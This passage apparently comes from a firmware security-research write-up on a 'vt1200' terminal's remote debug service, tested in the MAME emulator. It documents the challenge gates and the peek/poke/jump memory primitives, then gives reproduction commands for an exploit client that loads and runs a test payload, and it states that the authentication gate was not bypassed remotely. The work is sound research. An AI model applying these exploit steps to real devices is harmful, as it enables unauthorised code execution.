||||
`f(00*8) = 90 de 09 b4 72 85 58 17`).
|
||||
* The cipher-in/cipher-out dumps are saved (`key.bin`, `sbox.bin`,
|
||||
`cipher_in.bin`, `cipher_out.bin`). They were not consistent enough (the
|
||||
dump breakpoints fire once per 8-byte record and overwrite each other) to
|
||||
reduce the pipeline to an invertible form in the time available. No claim is
|
||||
made here about the cipher's exact input/output relation.
|
||||
|
||||
`dwt/exploit.py --challenge echo|computed` implements layers 1a and 1b.
|
||||
`--challenge-raw HEX` exists to plug in a full answer once the transform is
|
||||
inverted.
|
||||
|
||||
### Protocol trap (worth knowing)
|
||||
|
||||
The opcode's arguments must be sent **after** the challenge answer, not with the
|
||||
opcode. Sending `opcode|args` in one write makes `dwt_prf` consume the first 16
|
||||
bytes of the arguments as its answer; the handler then reads shifted fields and
|
||||
reports nonsense such as `rdebug_peek: maximum peek size is 1024 bytes` for a
|
||||
length of 8. The client now sends the opcode alone, answers, then sends the
|
||||
arguments. This is a real property of the firmware's sequential reads.
|
||||
|
||||
---
|
||||
|
||||
## 3. `poke` / `peek` / `jump` semantics (measured)
|
||||
|
||||
All four requests below used the real TCP handlers.
|
||||
|
||||
**Address is a bit address.** `peek 0x3F200000` (bit) returned
|
||||
`e9 7a e2 f5 aa aa 55 55`, byte-for-byte the first 8 bytes of `vt1200_v22.bin`
|
||||
(file offset 0). A poke to `0x01820000` (bit) with `DE AD BE EF` read back as
|
||||
`DE AD BE EF`.
|
||||
|
||||
**Maximum transfer is 0x400 = 1024 bytes** per request (code `CMPI 0x400`; the
|
||||
firmware's own text `rdebug_peek: maximum peek size is %d bytes`,
|
||||
`reference/rom-strings.txt:2579`, and `rdebug_poke: ... %d bytes`, line 2581).
|
||||
Repeat requests for larger images.
|
||||
|
||||
**ROM is write-protected by the memory map, not by the handler.** A poke to
|
||||
`0x3F200000` returned `Done`, but a following peek still returned
|
||||
`e9 7a e2 f5 aa aa 55 55`. The handler does no protection check; the driver
|
||||
maps ROM with `.rom()`.
|
||||
|
||||
**`jump` is `call(bit_addr, args...)`.** The handler reads `{addr, nargs}` plus
|
||||
`nargs` big-endian words (≤ 20), then jumps through a 20-entry stub table at
|
||||
`0x3F5A6AA0`; stub *n* pushes *n* arguments and does `call *a13`. Arguments are
|
||||
therefore ordinary firmware stack arguments, not registers. There is no PC
|
||||
assignment and no return-address check.
|
||||
|
||||
**`peek` reads back `poke`** (the `DEADBEEF` test above), so the write primitive
|
||||
is honest.
|
||||
|
||||
---
|
||||
|
||||
## 4. The loader, proved debugger-assisted
|
||||
|
||||
To separate "the loader works" from "gate B blocks it", one Lua breakpoint at
|
||||
`0x3F5A0920` forced the challenge comparison to equality (`a8 = 0`) **for that
|
||||
connection only**. Everything else is the real path over TCP:
|
||||
|
||||
```
|
||||
LIVE challenge memcmp FORCED a8=FFFFFFFF -> 0
|
||||
LIVE rdebug_peek entry ... (implicitly, via the peek/poke tests)
|
||||
LIVE rdebug_poke entry pc=3F5A1B50
|
||||
LIVE rdebug_jump entry pc=3F5A3890
|
||||
```
|
||||
|
||||
The 82-byte `harness/hello-world/payload.bin` was poked to bit `0x01800000` and
|
||||
called with `jump 0x01800000`. The emulator read back:
|
||||
|
||||
```
|
||||
LIVE payload-ran: MAGIC1=DEAD MAGIC2=BEEF COUNT=0400
|
||||
LIVE payload-ran: VRAM block 1024/1024 words FFFF, 0 holes
|
||||
```
|
||||
|
||||
That is the hello-world payload (DEAD/BEEF/1024 iterations + the 256×64 VRAM
|
||||
block), **executed through the stock loader**. The snapshot call failed only
|
||||
because this MAME's Lua `machine.screens[1]` index is not valid; the RAM and
|
||||
VRAM readback are the evidence.
|
||||
|
||||
**Boundary:** this is debugger-assisted. It proves `poke` + `jump` can deliver
|
||||
and run our code; it does **not** prove a remote attacker can pass gate B.
|
||||
|
||||
---
|
||||
|
||||
## 5. Reproduction
|
||||
|
||||
```sh
|
||||
# build/ROM check
|
||||
md5sum vt1200_v22.bin # b46a3e442ccb86134d2356bd70d22fd2
|
||||
|
||||
# Gate A, offline: sample the 2-bit field, and enter the gate code itself
|
||||
M=/home/arti/code/k-space/mame0289/vt1200
|
||||
cd dwt/evidence/run-branch
|
||||
VT1200_SKIP_LEVEL1=1 $M vt1200 -rompath ../../../harness/mame/roms \
|
||||
-video none -sound none -nothrottle -debug -debugger none -debuglog \
|
||||
-nvram_directory $PWD/nvram \
|
||||
-autoboot_script ../scripts/gate_branch.lua -autoboot_delay 0
|
||||
# expect: GATE-TARGET ACCEPT pc=3F58B430 a7=00000000
|
||||
|
||||
# Live TCP (needs the tap + BOOTP; see harness/net-setup.sh and harness/serve.py)
|
||||
./harness/net-setup.sh
|
||||
sudo python3 -u harness/serve.py 192.168.99.1 --bootp &
|
||||
# MAME: -cfg_directory <copy of harness/mame/cfg-net> -networkprovider taptun
|
||||
# VT1200_SKIP_LEVEL1=1, -debug -debugger none -debuglog
|
||||
# after the terminal answers ping 192.168.99.2:
|
||||
python3 dwt/exploit.py --host 192.168.99.2 --opcode 7 --verbose
|
||||
# challenge appears, echo is sent, connection closes, memcmp = FFFFFFFF
|
||||
python3 dwt/exploit.py --host 192.168.99.2 --opcode 7 --challenge computed
|
||||
# memcmp = 00000001 -- byte order fixed, in-place transform still blocks
|
||||
|
||||
# Debugger-assisted loader proof: run live_probe.lua with the memcmp forced to 0
|
||||
python3 dwt/exploit.py --host 192.168.99.2 --poke 0x01820000 --hex DEADBEEF
|
||||
python3 dwt/exploit.py --host 192.168.99.2 --peek 0x01820000 --len 4
|
||||
python3 dwt/exploit.py --host 192.168.99.2 \
|
||||
--poke-file 0x01800000 --file harness/hello-world/payload.bin
|
||||
python3 dwt/exploit.py --host 192.168.99.2 --jump 0x01800000 --jump-wait 0
|
||||
```
|
||||
|
||||
## 6. What a remote attacker can and cannot do
|
||||
|
||||
* **Can**: connect to TCP 771 (gate A passes), reach the dispatcher, and trigger
|
||||
the challenge and the public opcodes that require it (the challenge will kill
|
||||
the session on failure). Nothing useful is reachable without passing it.
|
||||
* **Cannot**: pass gate B. Echo and word-swapped echo both fail; the firmware's
|
||||
fixed-key font/cipher transform rewrites the reply in place and was not
|
||||
inverted here. Therefore `peek`, `poke`, `jump`, `start_telnet`,
|
||||
`display_message` and `usage_stats` are **not remotely reachable on this
|
||||
image** without either solving the transform or a different memory-safety bug.
|
||||
* **Not a gate**: the `0xAECD2` word. Do not patch it; the compared field is
|
||||
already zero.
|
||||
|
||||
## 7. Files
|
||||
|
||||
| path | contents |
|
||||
|---|---|
|
||||
| `dwt/exploit.py` | stdlib client: opcode 7, peek, poke, poke-file, jump, echo/computed/raw challenge, `--dry-run` |
|
||||
| `dwt/evidence/run-branch/` | gate-field samples, the ACCEPT branch hit, `debug.log` |
|
||||
| `dwt/evidence/run-gate/` | write watchpoints on the 0x8070 word |
|
||||
| `dwt/evidence/run-static/` | the 128-byte block at `0x1BE810` and table pointers |
|
||||
| `dwt/evidence/run-live/` | live logs, challenge dumps, key/SP-table dumps, render probes, `mame.log` with the payload markers |
|
||||
| `dwt/evidence/scripts/` | every Lua probe and the oracle harness |
|
||||
|
||||
*ROM unmodified. No driver edits. Evidence gathered on the emulator only.*
|
||||
Reference in new issue
Block a user